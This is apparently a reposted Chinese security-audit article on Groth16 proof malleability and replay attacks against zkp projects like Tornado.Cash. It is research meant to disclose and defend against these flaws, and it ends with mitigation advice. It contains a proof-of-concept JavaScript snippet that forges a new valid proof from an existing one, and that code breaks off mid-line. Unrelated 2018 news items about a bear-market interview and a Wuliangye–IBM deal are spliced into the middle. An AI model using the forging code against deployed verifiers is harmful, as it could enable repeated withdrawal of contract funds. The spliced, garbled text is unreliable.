NBS:深入探究 Tornado.Cash 揭示zkp项目的延展性攻击_Project WITH

在上篇文章里，我们从原理的角度阐述了 Groth16 证明系统本身存在的延展性漏洞，本文中我们将以Tornado

上图中为了防止攻击者使用同一个Proof进行双花攻击，而又不暴露nullifier、secret，Tornado

   commitment <== commitmentHasher

component main = Withdraw(20);注意：我们在实验过程中发现，TornadoCash 在 GitHub 中的最新版代码里（https://github

2.2 实验验证2.2.1 验证证明 — circom 生成的默认合约首先，我们使用circom 生成的默认合约进行验证，该合约由于根本没有记录任何已经使用过的Proof相关信息，攻击者可多次重放proof1造成双花攻击。在下列实验中，可以针对同一电路的同一个input，无限次重放proof，均能通过验证。

声音 | Evolution capital创始合伙人：熊市有更多时间做深入思考:11月16日， Evolution capital 创始合伙人老葛在“499加油站第二十期”接受火币英才CEO张晓媛和节点资本合伙人及贝壳公关CEO姜晓玉的采访时表示， 熊市过冬宝典一，是意识的升级，慢慢对这个行业的理解跟上了，自然比隔岸观火的人理解更深。熊市过冬宝典二，是多宣传，PR成本低；好好做社群，做精，有更优质的用户；扎实的做合规。花时间在这些领域提升，积累经验和技能的小伙伴，下一波行情来的时候，就有了更多的优势。保持敏锐，等下一波机会大批涌来的时候，肯定是观念超前，行动在一线的人，最有机会把握住。[2018/11/17]

下图是使用proof1在默认合约中证明验证通过的实验截图，包含上篇文章中使用的Proof参数A、B、C，以及最终的结果：

下图是我们使用同样的proof1多次调用verifyProof函数进行证明验证的结果，实验发现针对同一input，无论攻击者使用多少次proof1进行验证，都可以通过：

当然在我们在snarkjs原生的js代码库中进行测试，也并未对已经使用过的Proof进行防范，实验结果如下：

针对circom 生成的默认合约中的重放漏洞，本文记录已使用过的正确Proof(proof1)中的一个值，以达到防止使用验证过的proof进行重放攻击的目的，具体如下图所示：

继续使用proof1进行验证，实验发现在使用同样Proof进行二次验证时，交易revert报错："The note has been already spent"，结果如下图所示：

但是此时虽然达到了防止普通proof重放攻击的目的，但是前文介绍过groth16算法存在延展性漏洞问题，这种防范措施仍可以被绕过。于是下图我们构造PoC，按照第一篇文章中的算法针对同一input生成伪造的zk-SNARK证明，实验发现仍然能通过验证。生成伪造证明proof2的PoC代码如下：

import WasmCurve from "/Users/saya/node_modules/ffjavascript/src/wasm_curve.js"import ZqField from "/Users/saya/node_modules/ffjavascript/src/f1field.js"import groth16FullProve from "/Users/saya/node_modules/snarkjs/src/groth16_fullprove.js"import groth16Verify from "/Users/saya/node_modules/snarkjs/src/groth16_verify.js";import * as curves from "/Users/saya/node_modules/snarkjs/src/curves.js";import fs from "fs";import {  utils }   from "ffjavascript";const {unstringifyBigInts} = utils;groth16_exp();async function groth16_exp(){    let inputA = "7";    let inputB = "11";    const SNARK_FIELD_SIZE = BigInt('21888242871839275222246405745257275088548364400416034343698204186575808495617');    // 2. 读取string后转化为int    const proof = await unstringifyBigInts(JSON.parse(fs.readFileSync("proof.json","utf8")));    console.log("The proof:",proof);    // 生成逆元，生成的逆元必须在F1域    const F = new ZqField(SNARK_FIELD_SIZE);    // const F = new F2Field(SNARK_FIELD_SIZE);    const X = F.e("123456")    const invX = F.inv(X)    console.log("x:" ,X )    console.log("invX" ,invX)    console.log("The timesScalar is:",F.mul(X,invX))    // 读取椭圆曲线G1、G2点    const vKey = JSON.parse(fs.readFileSync("verification_key.json","utf8"));    // console.log("The curve is:",vKey);    const curve = await curves.getCurveFromName(vKey.curve);    const G1 = curve.G1;    const G2 = curve.G2;    const A = G1.fromObject(proof.pi_a);    const B = G2.fromObject(proof.pi_b);    const C = G1.fromObject(proof.pi_c);    const new_pi_a = G1.timesScalar(A, X);  //A'=x*A    const new_pi_b = G2.timesScalar(B, invX);  //B'=x^{-1}*B    proof.pi_a = G1.toObject(G1.toAffine(A));    proof.new_pi_a = G1.toObject(G1.toAffine(new_pi_a))    proof.new_pi_b = G2.toObject(G2.toAffine(new_pi_b))    // 将生成的G1、G2点转化为proof    console.log("proof.pi_a:",proof.pi_a);    console.log("proof.new_pi_a:",proof.new_pi_a)    console.log("proof.new_pi_b:",proof.new_pi_b。生成的伪造证明proof2，具体如下图所示：

五粮液牵手IBM 将在区块链等方面展开深入合作:近日，在宜宾举行的五粮液（000858.SZ)数字化转型项目启动大会上，五粮液和IBM双方表示，将在区块链、云计算、人工智能等领先科技方面进行深入的合作应用，借用IBM丰富的行业数字化转型经验和技术，按照“年轻化”“低度化”“数字化”“国际化”的创新思维，带动酒业乃至及“大机械、大物流、大包装、大金融、大健康”五大板块快速有序发展，助力五粮液构建“智慧商业”模式，实现高质量发展。[2018/4/29]

再次使用该参数调用verifyProof函数进行证明验证时，实验发现同一input的情况下使用proof2验证再次通过了，具体如下所示：

虽然伪造的证明proof2也只能再使用一次，但由于针对同一input的伪造的证明存在几乎无限多个，因此可能造成合约资金被无限次被提取。

本文同样使用circom库的js代码进行测试，实验结果proof1和伪造的proof2都可以通过验证：

经历了那么多次失败，难道没有一种方式可以一劳永逸吗？此处按照Tornado.Cash中通过校验原始input是否已经被使用的做法，本文继续修改合约代码如下：

需要说明的是，为了展示groth16算法延展性攻击的防范简单措施，**本文采取直接记录原始电路input的方式，但是这不符合零知识证明的隐私原则，电路输入应当是保密的。**比如 Tornado.Cash中input都是private，需要重新新增一个public input标识一条Proof。本文由于电路中没有新增标识，所以隐私性相对于Tornado.Cash来说较差，仅作为实验Demo展示结果如下：

可以发现，上图中使用同一input的Proof，只有第一次可以通过验证proof1，随后该proof1和伪造的proof2都不能通过校验。

本文主要通过魔改TornadoCash的电路和使用开发者常用的Circom默认生成的合约验证了重放漏洞的真实性和危害，并进一步验证了使用在合约层面的普通措施可以防护重放漏洞，但无法防止groth16的延展性攻击，对此，我们建议零知识证明的项目在项目开发时，应注意：

与传统DApp使用地址等唯一数据生成节点数据的方式不同，zkp项目通常是使用组合随机数的方式生成Merkle tree节点，需要注意业务逻辑是否允许插入相同数值节点的情况。因为相同的叶子结点数据可能导致部分用户资金被锁死在合约中，或者是同一叶子节点数据存在多个Merkle Proof混淆业务逻辑的情况。

zkp项目方通常使用mapping记录已使用的过的Proof，防范双花攻击。需要注意使用Groth16开发时，由于存在延展性攻击，因此记录需使用节点原始数据，而不能仅仅使用Proof相关数据标识。

复杂电路可能存在电路不确定、欠约束等问题，合约验证时条件不完整，实现逻辑存在漏洞等问题，我们强烈建议项目方在项目上线时，寻求对电路和合约都有一定研究的安全审计公司进行全面审计，尽可能的保证项目安全。

Beosin

企业专栏

阅读更多

金色财经

Web3活动

Techub Info

区块律动BlockBeats

金色财经 善欧巴

金色早8点

比推 Bitpush News

TaxDAO

SeeDAO见道

WJB

白话区块链

标签：NBSBSPROOPROnbs币发行量BSPNetworkEvident Proof Transaction TokenProject WITH

中币下载热门资讯